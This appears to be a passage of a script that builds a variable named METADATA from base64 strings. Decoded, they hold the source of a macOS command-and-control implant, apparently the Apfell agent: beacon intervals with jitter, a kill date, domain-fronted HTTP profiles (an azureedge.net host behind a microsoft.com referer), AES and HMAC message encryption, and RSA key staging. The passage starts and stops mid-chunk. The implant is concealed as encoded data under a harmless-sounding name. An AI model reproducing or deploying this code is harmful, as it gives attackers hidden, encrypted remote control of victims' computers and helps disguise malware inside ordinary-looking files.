METADATA = METADATA + "bHBoYSIsCiAgICAgICAgICAgICAgInBhcmFtZXRlcnMiOiBbMzBdCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAiZnVuY3Rpb24iOiAiYmFzZTY0IiwKICAgICAgICAgICAgICAicGFyYW1ldGVycyI6IFtdCiAgICAgICAgICAgIH0K"
METADATA = METADATA + "ICAgICAgICAgIF0KICAgICAgICB9CiAgICAgIF0sCiAgICAgICJCb2R5IjogW10KICAgIH1dCiAgfSwKCiJQT1NUIjogewogICAgIlNlcnZlckJvZHkiOiBbXSwKICAgICJTZXJ2ZXJDb29raWVzIjoge30sCiAgICAiU2VydmVySGVhZGVycyI6IHsKICAgICAgICAg"
METADATA = METADATA + "ICJTZXJ2ZXIiOiAiQXBhY2hlIiwKICAgICAgICAgICJDYWNoZS1Db250cm9sIjogIm1heC1hZ2U9MCwgbm8tY2FjaGUiLAogICAgICAgICAgIlByYWdtYSI6ICJuby1jYWNoZSIsCiAgICAgICAgICAiQ29ubmVjdGlvbiI6ICJrZWVwLWFsaXZlIiwKICAgICAgICAg"
METADATA = METADATA + "ICJDb250ZW50LVR5cGUiOiAiYXBwbGljYXRpb24vamF2YXNjcmlwdDsgY2hhcnNldD11dGYtOCIKICAgICAgICB9LAogICAgIkFnZW50TWVzc2FnZSI6IFt7CiAgICAgICJ1cmxzIjogWyJodHRwczovL2V4cGVydHpvbmUubWljcm9zb2Z0LmNvbSJdLAogICAgICAi"
METADATA = METADATA + "dXJpIjogIi91cGRhdGUucGhwIiwKICAgICAgInVybEZ1bmN0aW9ucyI6IFtdLAogICAgICAiUXVlcnlQYXJhbWV0ZXJzIjogWwogICAgICAgIHsKICAgICAgICAgICJuYW1lIjogInQiLAogICAgICAgICAgInZhbHVlIjogIjIwIiwKICAgICAgICAgICJ0cmFuc2Zv"
METADATA = METADATA + "cm1zIjogW10KICAgICAgICB9CiAgICAgIF0sCiAgICAgICJBZ2VudEhlYWRlcnMiOiB7CiAgICAgICAgIkFjY2VwdCI6ICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiLAogICAgICAgICJIb3N0"
METADATA = METADATA + "IjogIm9seW1waWMuYXp1cmVlZGdlLm5ldCIsCiAgICAgICAgIlJlZmVyZXIiOiAiaHR0cHM6Ly9leHBlcnR6b25lLm1pY3Jvc29mdC5jb20iLAogICAgICAgICJBY2NlcHQtRW5jb2RpbmciOiAiZ3ppcCwgZGVmbGF0ZSIsCiAgICAgICAgIlVzZXItQWdlbnQiOiAi"
METADATA = METADATA + "TW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTRfNikgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEyLjEuMiBTYWZhcmkvNjA1LjEuMTUiLAogICAgICAgICJYLVBvd2VyZWQtQnkiOiAiNjZh"
METADATA = METADATA + "MGZjMTgtYzBiNy00YmI5LThhZTYtOGNiODBhYTBmOGU5IgogICAgICB9LAogICAgICAiQ29va2llcyI6IFsKICAgICAgICB7CiAgICAgICAgICAibmFtZSI6ICJfX3Nlc3Npb24iLAogICAgICAgICAgInZhbHVlIjogIjdhZWE2MmQ1LTY2MDEtNGExZC1hMmEwLTBh"
METADATA = METADATA + "OGIwMzkxMGZkYiIsCiAgICAgICAgICAidHJhbnNmb3JtcyI6IFsKICAgICAgICAgICAgewogICAgICAgICAgICAgICJmdW5jdGlvbiI6ICJwcmVwZW5kIiwKICAgICAgICAgICAgICAicGFyYW1ldGVycyI6IFsKICAgICAgICAgICAgICAgICJ1dWlkXyIKICAgICAg"
METADATA = METADATA + "ICAgICAgICBdCiAgICAgICAgICAgIH0KICAgICAgICAgIF0KICAgICAgICB9CiAgICAgIF0sCiAgICAgICJCb2R5IjogWwogICAgICAgIHsKICAgICAgICAgICJmdW5jdGlvbiI6ICJiYXNlNjQiLAogICAgICAgICAgInBhcmFtZXRlcnMiOiBbXQogICAgICAgIH0s"
METADATA = METADATA + "CiAgICAgICAgewogICAgICAgICAgImZ1bmN0aW9uIjogInByZXBlbmQiLAogICAgICAgICAgInBhcmFtZXRlcnMiOiBbImFHVm0iXQogICAgICAgIH0sCiAgICAgICAgICB7CiAgICAgICAgICAiZnVuY3Rpb24iOiAiYXBwZW5kIiwKICAgICAgICAgICJwYXJhbWV0"
METADATA = METADATA + "ZXJzIjogWyJXbDNnIl0KICAgICAgICB9CiAgICAgIF0KICAgIH1dCiAgfSwKICAiaml0dGVyIjogMjAsCiAgImludGVydmFsIjogMTAsCiAgImNodW5rX3NpemUiOiA1MTIwMDAwLAogICJrZXlfZXhjaGFuZ2UiOiBmYWxzZSwKICAia2lsbF9kYXRlIjogIiIKfQo7"
METADATA = METADATA + "CgkJdGhpcy5nZXRfbWVzc2FnZXMgPSB0aGlzLmMyX2NvbmZpZ1snR0VUJ11bJ0FnZW50TWVzc2FnZSddOwogICAgICAgIHRoaXMucG9zdF9tZXNzYWdlcyA9IHRoaXMuYzJfY29uZmlnWydQT1NUJ11bJ0FnZW50TWVzc2FnZSddOwogICAgICAgIHRoaXMuaW50ZXJ2"
METADATA = METADATA + "YWwgPSB0aGlzLmMyX2NvbmZpZ1snaW50ZXJ2YWwnXTsKICAgICAgICB0aGlzLmNodW5rX3NpemUgPSB0aGlzLmMyX2NvbmZpZ1snY2h1bmtfc2l6ZSddOwogICAgICAgIHRoaXMuaml0dGVyID0gdGhpcy5jMl9jb25maWdbJ2ppdHRlciddOwogICAgICAgIHRoaXMu"
METADATA = METADATA + "YWVzX3BzayA9ICIiOyAvLyBiYXNlNjQgZW5jb2RlZCBrZXkKICAgICAgICBpZih0aGlzLmFlc19wc2sgIT09ICIiKXsKCQkgICAgdGhpcy5wYXJhbWV0ZXJzID0gJC5DRkRpY3Rpb25hcnlDcmVhdGVNdXRhYmxlKCQua0NGQWxsb2NhdG9yRGVmYXVsdCwgMCwgJC5r"
METADATA = METADATA + "Q0ZUeXBlRGljdGlvbmFyeUtleUNhbGxCYWNrcywgJC5rQ0ZUeXBlRGljdGlvbmFyeVZhbHVlQ2FsbEJhY2tzKTsKCQkgICAgJC5DRkRpY3Rpb25hcnlTZXRWYWx1ZSh0aGlzLnBhcmFtZXRlcnMsICQua1NlY0F0dHJLZXlUeXBlLCAkLmtTZWNBdHRyS2V5VHlwZUFF"
METADATA = METADATA + "Uyk7CgkJICAgICQuQ0ZEaWN0aW9uYXJ5U2V0VmFsdWUodGhpcy5wYXJhbWV0ZXJzLCAkLmtTZWNBdHRyS2V5U2l6ZUluQml0cywgJC5rU2VjQUVTMjU2KTsKCQkgICAgJC5DRkRpY3Rpb25hcnlTZXRWYWx1ZSh0aGlzLnBhcmFtZXRlcnMsICQua1NlY0F0dHJLZXlD"
METADATA = METADATA + "bGFzcywgJC5rU2VjQXR0cktleUNsYXNzU3ltbWV0cmljKTsKCQkgICAgJC5DRkRpY3Rpb25hcnlTZXRWYWx1ZSh0aGlzLnBhcmFtZXRlcnMsICQua1NlY0NsYXNzLCAkLmtTZWNDbGFzc0tleSk7CiAgICAgICAgICAgIHRoaXMucmF3X2tleSA9ICQuTlNEYXRhLmFs"
METADATA = METADATA + "bG9jLmluaXRXaXRoQmFzZTY0RW5jb2RpbmcodGhpcy5hZXNfcHNrKTsKICAgICAgICAgICAgbGV0IGVyciA9IFJlZigpOwogICAgICAgICAgICB0aGlzLmNyeXB0b2tleSA9ICQuU2VjS2V5Q3JlYXRlRnJvbURhdGEodGhpcy5wYXJhbWV0ZXJzLCB0aGlzLnJhd19r"
METADATA = METADATA + "ZXksIGVycik7CgkJfQogICAgICAgIHRoaXMudXNpbmdfa2V5X2V4Y2hhbmdlID0gdGhpcy5jMl9jb25maWdbJ2tleV9leGNoYW5nZSddOwogICAgICAgIHRoaXMuZXhjaGFuZ2luZ19rZXlzID0gdGhpcy51c2luZ19rZXlfZXhjaGFuZ2U7CiAgICAgICAgdGhpcy5k"
METADATA = METADATA + "YXRlRm9ybWF0dGVyID0gJC5OU0RhdGVGb3JtYXR0ZXIuYWxsb2MuaW5pdDsKICAgICAgICB0aGlzLmRhdGVGb3JtYXR0ZXIuc2V0RGF0ZUZvcm1hdCgieXl5eS1NTS1kZCIpOwogICAgICAgIGlmKHRoaXMuYzJfY29uZmlnWydraWxsX2RhdGUnXSAhPT0gdW5kZWZp"
METADATA = METADATA + "bmVkICYmIHRoaXMuYzJfY29uZmlnWydraWxsX2RhdGUnXSAhPT0gIiIpewogICAgICAgICAgICB0aGlzLmtpbGxfZGF0ZSA9IHRoaXMuZGF0ZUZvcm1hdHRlci5kYXRlRnJvbVN0cmluZyh0aGlzLmMyX2NvbmZpZ1sna2lsbF9kYXRlJ10pOwogICAgICAgIH1lbHNl"
METADATA = METADATA + "ewogICAgICAgICAgICB0aGlzLmtpbGxfZGF0ZSA9ICQuTlNEYXRlLmRpc3RhbnRGdXR1cmU7CiAgICAgICAgfQoJfQogICAgZ2V0X3JhbmRvbV9lbGVtZW50KHgpewoJICAgIHJldHVybiB4W01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIHgubGVuZ3RoKV07CiAg"
METADATA = METADATA + "ICB9CgllbmNyeXB0X21lc3NhZ2UodWlkLCBkYXRhKXsKCSAgICAvLyB0YWtlcyBpbiB0aGUgc3RyaW5nIHdlJ3JlIGFib3V0IHRvIHNlbmQsIGVuY3J5cHRzIGl0LCBhbmQgcmV0dXJucyBhIG5ldyBzdHJpbmcKCSAgICBsZXQgZXJyID0gUmVmKCk7CgkgICAgbGV0"
METADATA = METADATA + "IGVuY3J5cHQgPSAkLlNlY0VuY3J5cHRUcmFuc2Zvcm1DcmVhdGUodGhpcy5jcnlwdG9rZXksZXJyKTsKCSAgICBsZXQgYiA9ICQuU2VjVHJhbnNmb3JtU2V0QXR0cmlidXRlKGVuY3J5cHQsICQoIlNlY1BhZGRpbmdLZXkiKSwgJCgiU2VjUGFkZGluZ1BLQ1M3S2V5"
METADATA = METADATA + "IiksIGVycik7CgkgICAgYj0gJC5TZWNUcmFuc2Zvcm1TZXRBdHRyaWJ1dGUoZW5jcnlwdCwgJCgiU2VjRW5jcnlwdGlvbk1vZGUiKSwgJCgiU2VjTW9kZUNCQ0tleSIpLCBlcnIpOwoKICAgICAgICAvL2dlbmVyYXRlIGEgcmFuZG9tIElWIHRvIHVzZQoJICAgIGxl"
METADATA = METADATA + "dCBJViA9ICQuTlNNdXRhYmxlRGF0YS5kYXRhV2l0aExlbmd0aCgxNik7CgkgICAgJC5TZWNSYW5kb21Db3B5Qnl0ZXMoJC5rU2VjUmFuZG9tRGVmYXVsdCwgMTYsIElWLmJ5dGVzKTsKCSAgICBiID0gJC5TZWNUcmFuc2Zvcm1TZXRBdHRyaWJ1dGUoZW5jcnlwdCwg"
METADATA = METADATA + "JCgiU2VjSVZLZXkiKSwgSVYsIGVycik7CgkgICAgLy8gc2V0IG91ciBkYXRhIHRvIGJlIGVuY3J5cHRlZAoJICAgIGxldCBuc2RhdGEgPSAkKGRhdGEpLmRhdGFVc2luZ0VuY29kaW5nKCQuTlNVVEY4U3RyaW5nRW5jb2RpbmcpOwogICAgICAgIGI9JC5TZWNUcmFu"
METADATA = METADATA + "c2Zvcm1TZXRBdHRyaWJ1dGUoZW5jcnlwdCwgJC5rU2VjVHJhbnNmb3JtSW5wdXRBdHRyaWJ1dGVOYW1lLCBuc2RhdGEsIGVycik7CiAgICAgICAgLy8kLkNGU2hvdyhlcnJbMF0pOwogICAgICAgIGxldCBlbmNyeXB0ZWREYXRhID0gJC5TZWNUcmFuc2Zvcm1FeGVj"
METADATA = METADATA + "dXRlKGVuY3J5cHQsIGVycik7CiAgICAgICAgLy8gbm93IHdlIG5lZWQgdG8gcHJlcGVuZCB0aGUgSVYgdG8gdGhlIGVuY3J5cHRlZCBkYXRhIGJlZm9yZSB3ZSBiYXNlNjQgZW5jb2RlIGFuZCByZXR1cm4gaXQKICAgICAgICAvL2dlbmVyYXRlIHRoZSBobWFjCgkg"
METADATA = METADATA + "ICAgbGV0IGhtYWNfdHJhbnNmb3JtID0gJC5TZWNEaWdlc3RUcmFuc2Zvcm1DcmVhdGUoJCgiSE1BQy1TSEEyIERpZ2VzdCBGYW1pbHkiKSwgMjU2LCBlcnIpOwoJICAgIGxldCBobWFjX2lucHV0ID0gJC5OU011dGFibGVEYXRhLmRhdGFXaXRoTGVuZ3RoKDApOwoJ"
METADATA = METADATA + "ICAgIGhtYWNfaW5wdXQuYXBwZW5kRGF0YShJVik7CgkgICAgaG1hY19pbnB1dC5hcHBlbmREYXRhKGVuY3J5cHRlZERhdGEpOwoJCWI9JC5TZWNUcmFuc2Zvcm1TZXRBdHRyaWJ1dGUoaG1hY190cmFuc2Zvcm0sICQua1NlY1RyYW5zZm9ybUlucHV0QXR0cmlidXRl"
METADATA = METADATA + "TmFtZSwgaG1hY19pbnB1dCwgZXJyKTsKCQliPSQuU2VjVHJhbnNmb3JtU2V0QXR0cmlidXRlKGhtYWNfdHJhbnNmb3JtLCAkLmtTZWNEaWdlc3RITUFDS2V5QXR0cmlidXRlLCAkLk5TRGF0YS5hbGxvYy5pbml0V2l0aEJhc2U2NEVuY29kaW5nKHRoaXMuYWVzX3Bz"
METADATA = METADATA + "ayksIGVycik7CgkJbGV0IGhtYWNfZGF0YSA9ICQuU2VjVHJhbnNmb3JtRXhlY3V0ZShobWFjX3RyYW5zZm9ybSwgZXJyKTsKCiAgICAgICAgbGV0IGZpbmFsX21lc3NhZ2UgPSAkLk5TTXV0YWJsZURhdGEuZGF0YVdpdGhMZW5ndGgoMCk7CiAgICAgICAgZmluYWxf"
METADATA = METADATA + "bWVzc2FnZS5hcHBlbmREYXRhKCAkKHVpZCkuZGF0YVVzaW5nRW5jb2RpbmcoJC5OU1VURjhTdHJpbmdFbmNvZGluZykgKTsKICAgICAgICBmaW5hbF9tZXNzYWdlLmFwcGVuZERhdGEoSVYpOwogICAgICAgIGZpbmFsX21lc3NhZ2UuYXBwZW5kRGF0YShlbmNyeXB0"
METADATA = METADATA + "ZWREYXRhKTsKICAgICAgICBmaW5hbF9tZXNzYWdlLmFwcGVuZERhdGEoaG1hY19kYXRhKTsKICAgICAgICByZXR1cm4gZmluYWxfbWVzc2FnZS5iYXNlNjRFbmNvZGVkU3RyaW5nV2l0aE9wdGlvbnMoMCk7Cgl9CglkZWNyeXB0X21lc3NhZ2UobnNkYXRhKXsKICAg"
METADATA = METADATA + "ICAgICAvL3Rha2VzIGluIGEgYmFzZTY0IGVuY29kZWQgc3RyaW5nIHRvIGJlIGRlY3J5cHRlZCBhbmQgcmV0dXJuZWQKICAgICAgICAvL2NvbnNvbGUubG9nKCJjYWxsZWQgZGVjcnlwdCIpOwogICAgICAgIGxldCBlcnIgPSBSZWYoKTsKICAgICAgICBsZXQgZGVj"
METADATA = METADATA + "cnlwdCA9ICQuU2VjRGVjcnlwdFRyYW5zZm9ybUNyZWF0ZSh0aGlzLmNyeXB0b2tleSwgZXJyKTsKICAgICAgICAkLlNlY1RyYW5zZm9ybVNldEF0dHJpYnV0ZShkZWNyeXB0LCAkKCJTZWNQYWRkaW5nS2V5IiksICQoIlNlY1BhZGRpbmdQS0NTN0tleSIpLCBlcnIp"
METADATA = METADATA + "OwoJICAgICQuU2VjVHJhbnNmb3JtU2V0QXR0cmlidXRlKGRlY3J5cHQsICQoIlNlY0VuY3J5cHRpb25Nb2RlIiksICQoIlNlY01vZGVDQkNLZXkiKSwgZXJyKTsKCSAgICAvL2NvbnNvbGUubG9nKCJtYWtpbmcgcmFuZ2VzIik7CiAgICAgICAgLy9uZWVkIHRvIGV4"
METADATA = METADATA + "dHJhY3Qgb3V0IHRoZSBmaXJzdCAxNiBieXRlcyBhcyB0aGUgSVYgYW5kIHRoZSByZXN0IGlzIHRoZSBtZXNzYWdlIHRvIGRlY3J5cHQKICAgICAgICBsZXQgaXZfcmFuZ2UgPSAkLk5TTWFrZVJhbmdlKDAsIDE2KTsKICAgICAgICBsZXQgbWVzc2FnZV9yYW5nZSA9"
METADATA = METADATA + "ICQuTlNNYWtlUmFuZ2UoMTYsIG5zZGF0YS5sZW5ndGggLSA0OCk7IC8vIDE2IGZvciBJViAzMiBmb3IgaG1hYwogICAgICAgIGxldCBobWFjX3JhbmdlID0gJC5OU01ha2VSYW5nZShuc2RhdGEubGVuZ3RoIC0gMzIsIDMyKTsKICAgICAgICBsZXQgaG1hY19kYXRh"
METADATA = METADATA + "X3JhbmdlID0gJC5OU01ha2VSYW5nZSgwLCBuc2RhdGEubGVuZ3RoIC0gMzIpOyAvLyBobWFjIGluY2x1ZGVzIElWICsgY2lwaGVydGV4dAogICAgICAgIC8vY29uc29sZS5sb2coImNhcnZpbmcgb3V0IGl2Iik7CiAgICAgICAgbGV0IGl2ID0gbnNkYXRhLnN1YmRh"
METADATA = METADATA + "dGFXaXRoUmFuZ2UoaXZfcmFuZ2UpOwogICAgICAgICQuU2VjVHJhbnNmb3JtU2V0QXR0cmlidXRlKGRlY3J5cHQsICQoIlNlY0lWS2V5IiksIGl2LCBlcnIpOwogICAgICAgIGxldCBtZXNzYWdlID0gbnNkYXRhLnN1YmRhdGFXaXRoUmFuZ2UobWVzc2FnZV9yYW5n"
METADATA = METADATA + "ZSk7CiAgICAgICAgJC5TZWNUcmFuc2Zvcm1TZXRBdHRyaWJ1dGUoZGVjcnlwdCwgJCgiSU5QVVQiKSwgbWVzc2FnZSwgZXJyKTsKICAgICAgICAvLyBjcmVhdGUgYW4gaG1hYyBhbmQgdmVyaWZ5IGl0IG1hdGNoZXMKICAgICAgICBsZXQgbWVzc2FnZV9obWFjID0g"
METADATA = METADATA + "bnNkYXRhLnN1YmRhdGFXaXRoUmFuZ2UoaG1hY19yYW5nZSk7CiAgICAgICAgbGV0IGhtYWNfdHJhbnNmb3JtID0gJC5TZWNEaWdlc3RUcmFuc2Zvcm1DcmVhdGUoJCgiSE1BQy1TSEEyIERpZ2VzdCBGYW1pbHkiKSwgMjU2LCBlcnIpOwoJCSQuU2VjVHJhbnNmb3Jt"
METADATA = METADATA + "U2V0QXR0cmlidXRlKGhtYWNfdHJhbnNmb3JtLCAkLmtTZWNUcmFuc2Zvcm1JbnB1dEF0dHJpYnV0ZU5hbWUsIG5zZGF0YS5zdWJkYXRhV2l0aFJhbmdlKGhtYWNfZGF0YV9yYW5nZSksIGVycik7CgkJJC5TZWNUcmFuc2Zvcm1TZXRBdHRyaWJ1dGUoaG1hY190cmFu"
METADATA = METADATA + "c2Zvcm0sICQua1NlY0RpZ2VzdEhNQUNLZXlBdHRyaWJ1dGUsICQuTlNEYXRhLmFsbG9jLmluaXRXaXRoQmFzZTY0RW5jb2RpbmcodGhpcy5hZXNfcHNrKSwgZXJyKTsKCQlsZXQgaG1hY19kYXRhID0gJC5TZWNUcmFuc2Zvcm1FeGVjdXRlKGhtYWNfdHJhbnNmb3Jt"
METADATA = METADATA + "LCBlcnIpOwoJCWlmKGhtYWNfZGF0YS5pc0VxdWFsVG9EYXRhKG1lc3NhZ2VfaG1hYykpewoJCQlsZXQgZGVjcnlwdGVkRGF0YSA9ICQuU2VjVHJhbnNmb3JtRXhlY3V0ZShkZWNyeXB0LCBSZWYoKSk7CgkgICAgICAgIC8vY29uc29sZS5sb2coIm1ha2luZyBhIHN0"
METADATA = METADATA + "cmluZyBmcm9tIHRoZSBtZXNzYWdlIik7CgkgICAgICAgIGxldCBkZWNyeXB0ZWRfbWVzc2FnZSA9ICQuTlNTdHJpbmcuYWxsb2MuaW5pdFdpdGhEYXRhRW5jb2RpbmcoZGVjcnlwdGVkRGF0YSwgJC5OU1VURjhTdHJpbmdFbmNvZGluZyk7CgkgICAgICAgIC8vY29u"
METADATA = METADATA + "c29sZS5sb2coZGVjcnlwdGVkX21lc3NhZ2UuanMpOwoJICAgICAgICByZXR1cm4gZGVjcnlwdGVkX21lc3NhZ2U7CgkJfQoJCWVsc2V7CgkJCXJldHVybiB1bmRlZmluZWQ7CgkJfQoJfQogICAgbmVnb3RpYXRlX2tleSgpewogICAgICAgIC8vIEdlbmVyYXRlIGEg"
METADATA = METADATA + "cHVibGljL3ByaXZhdGUga2V5IHBhaXIKICAgICAgICBsZXQgcGFyYW1ldGVycyA9ICQoeyJ0eXBlIjogJCgiNDIiKSwgImJzaXoiOiA0MDk2LCAicGVybSI6IGZhbHNlfSk7CiAgICAgICAgbGV0IGVyciA9IFJlZigpOwogICAgICAgIGxldCBwcml2YXRla2V5ID0g"
METADATA = METADATA + "JC5TZWNLZXlDcmVhdGVSYW5kb21LZXkocGFyYW1ldGVycywgZXJyKTsKICAgICAgICAvL2NvbnNvbGUubG9nKCJnZW5lcmF0ZWQgbmV3IGtleSIpOwogICAgICAgIGxldCBwdWJsaWNrZXkgPSAkLlNlY0tleUNvcHlQdWJsaWNLZXkocHJpdmF0ZWtleSk7CiAgICAg"
METADATA = METADATA + "ICAgbGV0IGV4cG9ydGVkX3B1YmxpYyA9ICQuU2VjS2V5Q29weUV4dGVybmFsUmVwcmVzZW50YXRpb24ocHVibGlja2V5LCBlcnIpOwogICAgICAgIC8vJC5DRlNob3coJC5DRk1ha2VDb2xsZWN0YWJsZShlcnJbMF0pKTsKICAgICAgICB0cnl7CiAgICAgICAgCS8v"
METADATA = METADATA + "dGhpcyBpcyB0aGUgY2F0YWxpbmEgY2FzZQogICAgICAgIAlsZXQgYjY0X2V4cG9ydGVkX3B1YmxpYyA9ICQuQ0ZNYWtlQ29sbGVjdGFibGUoZXhwb3J0ZWRfcHVibGljKTsKICAgICAgICAJYjY0X2V4cG9ydGVkX3B1YmxpYyA9IGI2NF9leHBvcnRlZF9wdWJsaWMu"
METADATA = METADATA + "YmFzZTY0RW5jb2RlZFN0cmluZ1dpdGhPcHRpb25zKDApLmpzOyAvLyBnZXQgYSBiYXNlNjQgZW5jb2RlZCBzdHJpbmcgdmVyc2lvbgogICAgICAgIAlleHBvcnRlZF9wdWJsaWMgPSBiNjRfZXhwb3J0ZWRfcHVibGljOwogICAgICAgIH1jYXRjaChlcnJvcil7CiAg"
METADATA = METADATA + "ICAgICAgCS8vdGhpcyBpcyB0aGUgbW9qYXZlIGFuZCBoaWdoIHNpZXJyYSBjYXNlCiAgICAgICAgCWV4cG9ydGVkX3B1YmxpYyA9IGV4cG9ydGVkX3B1YmxpYy5iYXNlNjRFbmNvZGVkU3RyaW5nV2l0aE9wdGlvbnMoMCkuanM7CiAgICAgICAgfQogICAgICAgIGxl"
METADATA = METADATA + "dCBzID0gImFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5IjsKCSAgICBsZXQgc2Vzc2lvbl9rZXkgPSBBcnJheSgyMCkuam9pbigpLnNwbGl0KCcsJykubWFwKGZ1bmN0aW9uKCkgeyByZXR1cm4gcy5j"
METADATA = METADATA + "aGFyQXQoTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogcy5sZW5ndGgpKTsgfSkuam9pbignJyk7CgkgICAgbGV0IGluaXRpYWxfbWVzc2FnZSA9IHsic2Vzc2lvbl9pZCI6IHNlc3Npb25fa2V5LCAicHViX2tleSI6IGV4cG9ydGVkX3B1YmxpYywgImFjdGlvbiI6"
METADATA = METADATA + "ICJzdGFnaW5nX3JzYSJ9OwoJICAgLy8gRW5jcnlwdCBvdXIgaW5pdGlhbCBtZXNzYWdlIHdpdGggc2Vzc2lvbklEIGFuZCBQdWJsaWMga2V5IHdpdGggdGhlIGluaXRpYWwgQUVTIGtleQogICAgd2hpbGUodHJ1ZSl7CiAgICAgIHRyeXsKICAgICAgICAvL2xldCBy"
METADATA = METADATA + "ZXEgPSB0aGlzLmNyZWF0ZV9tZXNzYWdlKHRoaXMuZ2V0X3JhbmRvbV9lbGVtZW50KHRoaXMucG9zdF9tZXNzYWdlcyksIGluaXRpYWxfbWVzc2FnZSwgYXBmZWxsLnV1aWQpOwogICAgICAgIC8vbGV0IHN0YWdlMSA9IHRoaXMubWFrZV9yZXF1ZXN0KHJlcSk7CiAg"
METADATA = METADATA + "ICAgICAgbGV0IHN0YWdlMSA9IHRoaXMubWFrZV9yZXF1ZXN0KCJQT1NUIiwgYXBmZWxsLnV1aWQsIGluaXRpYWxfbWVzc2FnZSk7CiAgICAgICAgbGV0IGVuY19rZXkgPSAkLk5TRGF0YS5hbGxvYy5pbml0V2l0aEJhc2U2NEVuY29kaW5nKHN0YWdlMVsnc2Vzc2lv"
METADATA = METADATA + "bl9rZXknXSk7CiAgICAgICAgbGV0IGRlY19rZXkgPSAkLlNlY0tleUNyZWF0ZURlY3J5cHRlZERhdGEocHJpdmF0ZWtleSwgJC5rU2VjS2V5QWxnb3JpdGhtUlNBRW5jcnlwdGlvbk9BRVBTSEExLCBlbmNfa2V5LCBlcnIpOwogICAgICAgIC8vIEFkanVzdCBvdXIg"
METADATA = METADATA + "Z2xvYmFsIGtleSBpbmZvcm1hdGlvbiB3aXRoIHRoZSBuZXdseSBhZGp1c3RlZCBzZXNzaW9uIGtleQogICAgICAgIHRyeXsKICAgICAgICAgICAgdGhpcy5hZXNfcHNrID0gZGVjX2tleS5iYXNlNjRFbmNvZGVkU3RyaW5nV2l0aE9wdGlvbnMoMCkuanM7IC8vIGJh"
METADATA = METADATA + "c2U2NCBlbmNvZGVkIGtleQogICAgICAgIH1jYXRjaChlcnJvcil7CiAgICAgICAgICAgIGxldCBkZWNfa2V5X2NvbGxlY3RhYmxlID0gJC5DRk1ha2VDb2xsZWN0YWJsZShkZWNfa2V5KTsKICAgICAgICAgICAgZGVjX2tleV9jb2xsZWN0YWJsZSA9IGRlY19rZXlf"
METADATA = METADATA + "Y29sbGVjdGFibGUuYmFzZTY0RW5jb2RlZFN0cmluZ1dpdGhPcHRpb25zKDApLmpzOwogICAgICAgICAgICB0aGlzLmFlc19wc2sgPSBkZWNfa2V5X2NvbGxlY3RhYmxlOwogICAgICAgIH0KICAgICAgICAvL2NvbnNvbGUubG9nKEpTT04uc3RyaW5naWZ5KGpzb25f"
METADATA = METADATA + "cmVzcG9uc2UpKTsKICAgICAgICB0aGlzLnBhcmFtZXRlcnMgPSAkKHsidHlwZSI6ICQua1NlY0F0dHJLZXlUeXBlQUVTfSk7CiAgICAgICAgdGhpcy5yYXdfa2V5ID0gJC5OU0RhdGEuYWxsb2MuaW5pdFdpdGhCYXNlNjRFbmNvZGluZyh0aGlzLmFlc19wc2spOwog"
METADATA = METADATA + "ICAgICAgIHRoaXMuY3J5cHRva2V5ID0gJC5TZWNLZXlDcmVhdGVGcm9tRGF0YSh0aGlzLnBhcmFtZXRlcnMsIHRoaXMucmF3X2tleSwgUmVmKCkpOwogICAgICAgIHRoaXMuZXhjaGFuZ2luZ19rZXlzID0gZmFsc2U7CiAgICAgICAgcmV0dXJuIHN0YWdlMVsndXVp"
METADATA = METADATA + "ZCddOwogICAgICB9Y2F0Y2goZXJyb3IpewogICAgICAgIC8vY29uc29sZS5sb2coImVycm9yIGluIG5lZ290aWF0ZV9rZXk6ICIgKyBlcnJvci50b1N0cmluZygpKTsKICAgICAgICAkLk5TVGhyZWFkLnNsZWVwRm9yVGltZUludGVydmFsKHRoaXMuZ2VuX3NsZWVw"
METADATA = METADATA + "X3RpbWUoKSk7ICAvLyBkb24ndCBzcGluIG91dCBjcmF6eSBpZiB0aGUgY29ubmVjdGlvbiBmYWlscwogICAgICB9CiAgICB9CiAgfQogIGdlbl9zbGVlcF90aW1lKCl7CiAgICAgIC8vZ2VuZXJhdGUgYSB0aW1lIHRoYXQncyB0aGlzLmludGVydmFsICs9ICh0aGlz"
METADATA = METADATA + "LmludGVydmFsICogMS90aGlzLmppdHRlcikKICAgICAgbGV0IHBsdXNfbWluID0gTWF0aC5yb3VuZChNYXRoLnJhbmRvbSgpKTsKICAgICAgaWYocGx1c19taW4gPT09IDEpewogICAgICAgICAgcmV0dXJuIHRoaXMuaW50ZXJ2YWwgKyAodGhpcy5pbnRlcnZhbCAq"
METADATA = METADATA + "IChNYXRoLnJvdW5kKE1hdGgucmFuZG9tKCkqdGhpcy5qaXR0ZXIpLzEwMCkpOwogICAgICB9ZWxzZXsKICAgICAgICAgIHJldHVybiB0aGlzLmludGVydmFsIC0gKHRoaXMuaW50ZXJ2YWwgKiAoTWF0aC5yb3VuZChNYXRoLnJhbmRvbSgpKnRoaXMuaml0dGVyKS8x"
METADATA = METADATA + "MDApKTsKICAgICAgfQogICAgfQogIHByZXBlbmQoKXsKICAgIHJldHVybiBhcmd1bWVudHNbMV0gKyBhcmd1bWVudHNbMF07CiAgfQogIHJfcHJlcGVuZCgpewogICAgcmV0dXJuIGFyZ3VtZW50c1swXS5zbGljZShTdHJpbmcoYXJndW1lbnRzWzFdKS5sZW5ndGgp"
METADATA = METADATA + "OwogIH0KICBhcHBlbmQoKXsKICAgIHJldHVybiBhcmd1bWVudHNbMF0gKyBhcmd1bWVudHNbMV07CiAgfQogIHJfYXBwZW5kKCl7CiAgICByZXR1cm4gYXJndW1lbnRzWzBdLnNsaWNlKDAsIC0xICogU3RyaW5nKGFyZ3VtZW50c1sxXSkubGVuZ3RoKTsKICB9CiAg"
